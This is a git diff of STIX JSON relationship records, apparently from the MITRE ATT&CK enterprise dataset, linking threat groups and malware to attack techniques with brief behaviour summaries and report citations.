+++ b/enterprise-attack/relationship/relationship--25d96e8e-6893-4b90-82cc-253cbd499543.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--1bd8e466-e930-4a94-a3af-b690df0d4334",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--25d96e8e-6893-4b90-82cc-253cbd499543",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Dragonfly established encrypted connections over port 443.",
+            "source_ref": "intrusion-set--1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1",
+            "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e",
+            "external_references": [
+                {
+                    "source_name": "US-CERT APT Energy Oct 2017",
+                    "description": "US-CERT. (2017, October 20). Alert (TA17-293A): Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved November 2, 2017.",
+                    "url": "https://www.us-cert.gov/ncas/alerts/TA17-293A"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--266a5edd-1425-4ab1-88bf-a0d7897699eb.json b/enterprise-attack/relationship/relationship--266a5edd-1425-4ab1-88bf-a0d7897699eb.json
index 863e489e92..a505176c8b 100644
--- a/enterprise-attack/relationship/relationship--266a5edd-1425-4ab1-88bf-a0d7897699eb.json
+++ b/enterprise-attack/relationship/relationship--266a5edd-1425-4ab1-88bf-a0d7897699eb.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--4f06066b-5e84-4d78-a9a6-e134f7363ebd",
+    "id": "bundle--17208b6d-f179-4857-b484-fe99eec35353",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--266a5edd-1425-4ab1-88bf-a0d7897699eb",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Sakula uses single-byte XOR obfuscation to obfuscate many of its files.",
             "source_ref": "malware--96b08451-b27a-4ff6-893f-790e26393a8e",
diff --git a/enterprise-attack/relationship/relationship--26968975-5f01-4b4b-9cdc-ef3b76710304.json b/enterprise-attack/relationship/relationship--26968975-5f01-4b4b-9cdc-ef3b76710304.json
index e4a5308490..eabb5f9db4 100644
--- a/enterprise-attack/relationship/relationship--26968975-5f01-4b4b-9cdc-ef3b76710304.json
+++ b/enterprise-attack/relationship/relationship--26968975-5f01-4b4b-9cdc-ef3b76710304.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--149dc371-21ed-4896-8c26-7285550058d0",
+    "id": "bundle--1705aebd-8011-4ba2-b028-e322e671cf1e",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--26968975-5f01-4b4b-9cdc-ef3b76710304",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "4H RAT has the capability to obtain file and directory listings.",
             "source_ref": "malware--8e461ca3-0996-4e6e-a0df-e2a5bbc51ebc",
diff --git a/enterprise-attack/relationship/relationship--26af1f3f-806e-45bd-860a-2eead8af7d3e.json b/enterprise-attack/relationship/relationship--26af1f3f-806e-45bd-860a-2eead8af7d3e.json
index c7943d070b..5333757b19 100644
--- a/enterprise-attack/relationship/relationship--26af1f3f-806e-45bd-860a-2eead8af7d3e.json
+++ b/enterprise-attack/relationship/relationship--26af1f3f-806e-45bd-860a-2eead8af7d3e.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--dd8d2b24-d88d-483b-a2d3-aced298a3c38",
+    "id": "bundle--915308a4-e6a8-434a-98cb-57be173394a0",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--26af1f3f-806e-45bd-860a-2eead8af7d3e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Cobalt Strike can use known credentials to run commands and spawn processes as another user.",
             "source_ref": "tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39",
diff --git a/enterprise-attack/relationship/relationship--26eafe5d-0ffc-48cf-ba1d-3681bdcbfaa3.json b/enterprise-attack/relationship/relationship--26eafe5d-0ffc-48cf-ba1d-3681bdcbfaa3.json
index ecbdf540c3..1673e69fe9 100644
--- a/enterprise-attack/relationship/relationship--26eafe5d-0ffc-48cf-ba1d-3681bdcbfaa3.json
+++ b/enterprise-attack/relationship/relationship--26eafe5d-0ffc-48cf-ba1d-3681bdcbfaa3.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--ec3c5810-d6ee-41c5-97ac-3b50a656d874",
+    "id": "bundle--ee5ea314-e7c9-47e2-8f7f-fabc99faa097",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--26eafe5d-0ffc-48cf-ba1d-3681bdcbfaa3",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Threat Group-3390 has used command-line interfaces for execution.",
             "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c",
diff --git a/enterprise-attack/relationship/relationship--27102940-8ec1-42ad-98e5-57dc24b572eb.json b/enterprise-attack/relationship/relationship--27102940-8ec1-42ad-98e5-57dc24b572eb.json
index b5a252962f..44ac2382d0 100644
--- a/enterprise-attack/relationship/relationship--27102940-8ec1-42ad-98e5-57dc24b572eb.json
+++ b/enterprise-attack/relationship/relationship--27102940-8ec1-42ad-98e5-57dc24b572eb.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--2fe6bdf2-9f89-4784-a56b-55248422e66e",
+    "id": "bundle--6c7e972c-49f0-41ac-91fd-78b50ac5aca6",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--27102940-8ec1-42ad-98e5-57dc24b572eb",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "PsExec, a tool that has been used by adversaries, writes programs to the <code>ADMIN$</code> network share to execute commands on remote systems.",
             "source_ref": "tool--ff6caf67-ea1f-4895-b80e-4bb0fc31c6db",
diff --git a/enterprise-attack/relationship/relationship--272068a3-47e3-42d6-8772-71d39c1976c3.json b/enterprise-attack/relationship/relationship--272068a3-47e3-42d6-8772-71d39c1976c3.json
index 741a86431c..8085ebd66a 100644
--- a/enterprise-attack/relationship/relationship--272068a3-47e3-42d6-8772-71d39c1976c3.json
+++ b/enterprise-attack/relationship/relationship--272068a3-47e3-42d6-8772-71d39c1976c3.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--b6dc8aa2-8fa0-4bc7-be6f-0d1d5af3ce76",
+    "id": "bundle--4aab3e80-6fc2-49ac-bd53-3b695dfc3718",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--272068a3-47e3-42d6-8772-71d39c1976c3",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Shamoon obtains the victim's operating system version and keyboard layout and sends the information to the C2 server.",
             "source_ref": "malware--8901ac23-6b50-410c-b0dd-d8174a86f9b3",
diff --git a/enterprise-attack/relationship/relationship--27375058-3002-4fc2-a964-a1e336a10a2a.json b/enterprise-attack/relationship/relationship--27375058-3002-4fc2-a964-a1e336a10a2a.json
index 5df4e083fa..5aab9b544e 100644
--- a/enterprise-attack/relationship/relationship--27375058-3002-4fc2-a964-a1e336a10a2a.json
+++ b/enterprise-attack/relationship/relationship--27375058-3002-4fc2-a964-a1e336a10a2a.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--2d773e73-a483-4c3a-abd5-a4c89e583e02",
+    "id": "bundle--5a09f872-e43c-41c8-a620-2f06d50df5a1",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--27375058-3002-4fc2-a964-a1e336a10a2a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "4H RAT sends an OS version identifier in its beacons.",
             "source_ref": "malware--8e461ca3-0996-4e6e-a0df-e2a5bbc51ebc",
diff --git a/enterprise-attack/relationship/relationship--27834043-1004-4a70-9023-a318bd6db7c6.json b/enterprise-attack/relationship/relationship--27834043-1004-4a70-9023-a318bd6db7c6.json
new file mode 100644
index 0000000000..62e79c6507
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--27834043-1004-4a70-9023-a318bd6db7c6.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--688fe9b4-022f-4a4c-aaa1-aa5b4f63f639",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--27834043-1004-4a70-9023-a318bd6db7c6",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "can search files on a victim.",
+            "source_ref": "malware--fece06b7-d4b1-42cf-b81a-5323c917546e",
+            "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
+            "external_references": [
+                {
+                    "source_name": "US-CERT FALLCHILL Nov 2017",
+                    "description": "US-CERT. (2017, November 22). Alert (TA17-318A): HIDDEN COBRA \u2013 North Korean Remote Administration Tool: FALLCHILL. Retrieved December 7, 2017.",
+                    "url": "https://www.us-cert.gov/ncas/alerts/TA17-318A"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--27a64a3a-62cb-4c1b-adfc-5070e2f1e744.json b/enterprise-attack/relationship/relationship--27a64a3a-62cb-4c1b-adfc-5070e2f1e744.json
index 47289fe8e7..2c47b016aa 100644
--- a/enterprise-attack/relationship/relationship--27a64a3a-62cb-4c1b-adfc-5070e2f1e744.json
+++ b/enterprise-attack/relationship/relationship--27a64a3a-62cb-4c1b-adfc-5070e2f1e744.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--eb8d5a7e-5a08-478a-940b-8ff397e8bf44",
+    "id": "bundle--22aa71c9-fb5e-443e-8c80-31dfc1aa0b31",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--27a64a3a-62cb-4c1b-adfc-5070e2f1e744",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Hi-Zor communicates with its C2 server over HTTPS.",
             "source_ref": "malware--5967cc93-57c9-404a-8ffd-097edfa7bdfc",
diff --git a/enterprise-attack/relationship/relationship--27afb647-85a1-4e89-8762-c6c7d04bc1c5.json b/enterprise-attack/relationship/relationship--27afb647-85a1-4e89-8762-c6c7d04bc1c5.json
index b057ff0fc1..697b464932 100644
--- a/enterprise-attack/relationship/relationship--27afb647-85a1-4e89-8762-c6c7d04bc1c5.json
+++ b/enterprise-attack/relationship/relationship--27afb647-85a1-4e89-8762-c6c7d04bc1c5.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--98611dc8-704b-47f6-a3a0-592cfbe7959e",
+    "id": "bundle--546e8657-9be8-4f98-aa8e-cc9c04f5a6c3",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--27afb647-85a1-4e89-8762-c6c7d04bc1c5",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "pngdowner uses HTTP for command and control.",
             "source_ref": "malware--800bdfba-6d66-480f-9f45-15845c05cb5d",
diff --git a/enterprise-attack/relationship/relationship--27b05a62-5310-40d9-9e49-b4dce3afad55.json b/enterprise-attack/relationship/relationship--27b05a62-5310-40d9-9e49-b4dce3afad55.json
index f47b0b5e5c..433e98ba04 100644
--- a/enterprise-attack/relationship/relationship--27b05a62-5310-40d9-9e49-b4dce3afad55.json
+++ b/enterprise-attack/relationship/relationship--27b05a62-5310-40d9-9e49-b4dce3afad55.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--db04f9df-1ef9-48ce-b556-db72d824600d",
+    "id": "bundle--ff13b22c-a886-432e-9cfd-04753169b453",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--27b05a62-5310-40d9-9e49-b4dce3afad55",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.047Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Darkhotel uses a virus that propagates by infecting executables stored on shared drives.",
             "source_ref": "intrusion-set--9e729a7e-0dd6-4097-95bf-db8d64911383",
diff --git a/enterprise-attack/relationship/relationship--27e7f34e-9750-4cf0-8260-33f2996ee38c.json b/enterprise-attack/relationship/relationship--27e7f34e-9750-4cf0-8260-33f2996ee38c.json
new file mode 100644
index 0000000000..d6a34b0c1e
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--27e7f34e-9750-4cf0-8260-33f2996ee38c.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--2c08109a-4a99-4cb0-9d68-b4a84f26ae78",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--27e7f34e-9750-4cf0-8260-33f2996ee38c",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "APT29 has used the meek domain fronting plugin for Tor to hide the destination of C2 traffic.",
+            "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542",
+            "target_ref": "attack-pattern--1ce03c65-5946-4ac9-9d4d-66db87e024bd",
+            "external_references": [
+                {
+                    "source_name": "Mandiant No Easy Breach",
+                    "description": "Dunwoody, M. and Carr, N.. (2016, September 27). No Easy Breach DerbyCon 2016. Retrieved October 4, 2016.",
+                    "url": "http://www.slideshare.net/MatthewDunwoody1/no-easy-breach-derby-con-2016"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--27ead6bc-2bba-49d3-bcfe-667c7654a6fc.json b/enterprise-attack/relationship/relationship--27ead6bc-2bba-49d3-bcfe-667c7654a6fc.json
new file mode 100644
index 0000000000..073a6322d4
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--27ead6bc-2bba-49d3-bcfe-667c7654a6fc.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--c095df93-73cb-4102-a0a6-6a9059f25620",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--27ead6bc-2bba-49d3-bcfe-667c7654a6fc",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "OilRig has used Remote Desktop Protocol to access compromised systems.",
+            "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d",
+            "target_ref": "attack-pattern--51dea151-0898-4a45-967c-3ebee0420484",
+            "external_references": [
+                {
+                    "source_name": "Unit 42 Playbook OilRig Dec 2017",
+                    "description": "Unit 42. (2017, December 15). Unit 42 Playbook Viewer - Oil Rig. Retrieved December 20, 2017.",
+                    "url": "https://pan-unit42.github.io/playbook%20viewer/"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--28139c5b-be96-44d2-8e54-425311d108d6.json b/enterprise-attack/relationship/relationship--28139c5b-be96-44d2-8e54-425311d108d6.json
index 4042f7c1b1..13c4dc209f 100644
--- a/enterprise-attack/relationship/relationship--28139c5b-be96-44d2-8e54-425311d108d6.json
+++ b/enterprise-attack/relationship/relationship--28139c5b-be96-44d2-8e54-425311d108d6.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--7a7954dd-e622-436d-9138-ac53fa222e23",
+    "id": "bundle--f2bcc13c-35df-494b-bd9e-3b392ca51efe",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--28139c5b-be96-44d2-8e54-425311d108d6",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.077Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "A Patchwork payload uses process hollowing to hide the UAC bypass vulnerability exploitation inside svchost.exe.",
             "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0",
diff --git a/enterprise-attack/relationship/relationship--2816f512-1a04-4cf8-94e9-36720b949c76.json b/enterprise-attack/relationship/relationship--2816f512-1a04-4cf8-94e9-36720b949c76.json
index 24301d383d..1f90f280df 100644
--- a/enterprise-attack/relationship/relationship--2816f512-1a04-4cf8-94e9-36720b949c76.json
+++ b/enterprise-attack/relationship/relationship--2816f512-1a04-4cf8-94e9-36720b949c76.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--9ff35a38-571e-49df-a83d-c0c75420a1df",
+    "id": "bundle--98ffa5ef-fec4-426f-ad33-e53ad1f591e3",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--2816f512-1a04-4cf8-94e9-36720b949c76",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.076Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Patchwork attempted to use RDP to move laterally.",
             "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0",
diff --git a/enterprise-attack/relationship/relationship--28189361-4cd2-4925-a095-d7ebd07ebd57.json b/enterprise-attack/relationship/relationship--28189361-4cd2-4925-a095-d7ebd07ebd57.json
index 7dd5a694e2..94021075cb 100644
--- a/enterprise-attack/relationship/relationship--28189361-4cd2-4925-a095-d7ebd07ebd57.json
+++ b/enterprise-attack/relationship/relationship--28189361-4cd2-4925-a095-d7ebd07ebd57.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--9ab079b7-a2df-4fcc-8dd6-e03d3761876e",
+    "id": "bundle--8edeb88c-5b7d-4983-bd79-4e20b6708d1d",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--28189361-4cd2-4925-a095-d7ebd07ebd57",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "netstat can be used to enumerate local network connections, including active TCP connections and other network statistics.",
             "source_ref": "tool--4664b683-f578-434f-919b-1c1aad2a1111",
diff --git a/enterprise-attack/relationship/relationship--283bdd5f-f356-43a2-864c-6f8211073d45.json b/enterprise-attack/relationship/relationship--283bdd5f-f356-43a2-864c-6f8211073d45.json
new file mode 100644
index 0000000000..150f54c4f8
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--283bdd5f-f356-43a2-864c-6f8211073d45.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--5002f92a-9637-44cf-8369-5163afef787a",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--283bdd5f-f356-43a2-864c-6f8211073d45",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "decrypts and executes shellcode from a file called Stars.jps.",
+            "source_ref": "malware--96566860-9f11-4b6f-964d-1c924e4f24a4",
+            "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c",
+            "external_references": [
+                {
+                    "source_name": "Symantec Sowbug Nov 2017",
+                    "description": "Symantec Security Response. (2017, November 7). Sowbug: Cyber espionage group targets South American and Southeast Asian governments. Retrieved November 16, 2017.",
+                    "url": "https://www.symantec.com/connect/blogs/sowbug-cyber-espionage-group-targets-south-american-and-southeast-asian-governments"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--283e242a-72d4-4b40-8905-888595c34919.json b/enterprise-attack/relationship/relationship--283e242a-72d4-4b40-8905-888595c34919.json
index 4aeb3197d6..aef56c3cbe 100644
--- a/enterprise-attack/relationship/relationship--283e242a-72d4-4b40-8905-888595c34919.json
+++ b/enterprise-attack/relationship/relationship--283e242a-72d4-4b40-8905-888595c34919.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--52666c8d-495c-4209-a910-1a94910ce9ca",
+    "id": "bundle--ca414788-c9f8-4e05-97a5-0ee1e7f43e43",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--283e242a-72d4-4b40-8905-888595c34919",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "BADNEWS typically loads its DLL file into a legitimate signed Java executable.",
             "source_ref": "malware--e9595678-d269-469e-ae6b-75e49259de63",
diff --git a/enterprise-attack/relationship/relationship--2843ccc2-4869-48a0-8967-b9856a778a2c.json b/enterprise-attack/relationship/relationship--2843ccc2-4869-48a0-8967-b9856a778a2c.json
new file mode 100644
index 0000000000..87757fe4b8
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--2843ccc2-4869-48a0-8967-b9856a778a2c.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--208f2de8-3a72-4df9-b147-3c6df2eec5f8",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--2843ccc2-4869-48a0-8967-b9856a778a2c",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "has masqueraded as legitimate Adobe Content Management System files.",
+            "source_ref": "malware--196f1f32-e0c2-4d46-99cd-234d4b6befe1",
+            "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0",
+            "external_references": [
+                {
+                    "source_name": "Forcepoint Felismus Mar 2017",
+                    "description": "Somerville, L. and Toro, A. (2017, March 30). Playing Cat & Mouse: Introducing the Felismus Malware. Retrieved November 16, 2017.",
+                    "url": "https://blogs.forcepoint.com/security-labs/playing-cat-mouse-introducing-felismus-malware"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--28471736-5b62-4132-b4ed-c22ae449b455.json b/enterprise-attack/relationship/relationship--28471736-5b62-4132-b4ed-c22ae449b455.json
new file mode 100644
index 0000000000..2cd41d5c8f
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--28471736-5b62-4132-b4ed-c22ae449b455.json
@@ -0,0 +1,20 @@
+{
+    "type": "bundle",
+    "id": "bundle--ac7d2440-241a-4112-b304-47cc4a30c40a",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--28471736-5b62-4132-b4ed-c22ae449b455",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90",
+            "target_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--284d622d-8b28-4569-97a7-936edced1b18.json b/enterprise-attack/relationship/relationship--284d622d-8b28-4569-97a7-936edced1b18.json
new file mode 100644
index 0000000000..c052a77ef0
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--284d622d-8b28-4569-97a7-936edced1b18.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--f9f3c564-7bb4-45b7-ac41-2c831b69edb7",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--284d622d-8b28-4569-97a7-936edced1b18",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "The Helminth config file is encrypted with RC4.",
+            "source_ref": "malware--eff1a885-6f90-42a1-901f-eef6e7a1905e",
+            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
+            "external_references": [
+                {
+                    "source_name": "Palo Alto OilRig May 2016",
+                    "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.",
+                    "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--284ffb1b-ad42-468e-9897-94c25024f0d4.json b/enterprise-attack/relationship/relationship--284ffb1b-ad42-468e-9897-94c25024f0d4.json
index 9371acc170..5ce03aa679 100644
--- a/enterprise-attack/relationship/relationship--284ffb1b-ad42-468e-9897-94c25024f0d4.json
+++ b/enterprise-attack/relationship/relationship--284ffb1b-ad42-468e-9897-94c25024f0d4.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--2830eea2-369c-4d2d-a086-10eb0bbf8f45",
+    "id": "bundle--05ece981-2083-430a-a9f5-aba9b488ec2d",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--284ffb1b-ad42-468e-9897-94c25024f0d4",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "ADVSTORESHELL achieves persistence by adding itself to the <code>HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run</code> Registry key.",
             "source_ref": "malware--fb575479-14ef-41e9-bfab-0b7cf10bec73",
@@ -17,7 +17,7 @@
                 {
